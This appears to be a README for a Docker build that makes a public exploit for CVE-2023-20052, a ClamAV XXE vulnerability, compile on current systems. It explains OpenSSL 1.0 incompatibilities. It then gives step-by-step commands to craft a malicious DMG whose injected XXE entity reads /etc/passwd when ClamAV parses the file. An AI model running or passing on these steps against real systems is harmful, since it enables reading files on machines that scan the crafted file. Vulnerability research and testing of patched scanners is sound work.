
Fixed Docker build for CVE-2023-20052 (ClamAV XXE vulnerability) that actually compiles.
The original exploit fails to build on modern systems:
HMAC_CTX struct incomplete type errorsdmg/filevault.c compilationlibssl1.0-dev (OpenSSL 1.0)libdmg-hfsplus uses deprecated OpenSSL 1.0 functions:
HMAC_CTX_init() / HMAC_CTX_cleanup() (removed in OpenSSL 1.1+)HMAC_CTX struct usage (opaque in OpenSSL 1.1+)Ubuntu 18.04 is the last LTS with OpenSSL 1.0 support.
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .
# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash
# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg
## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus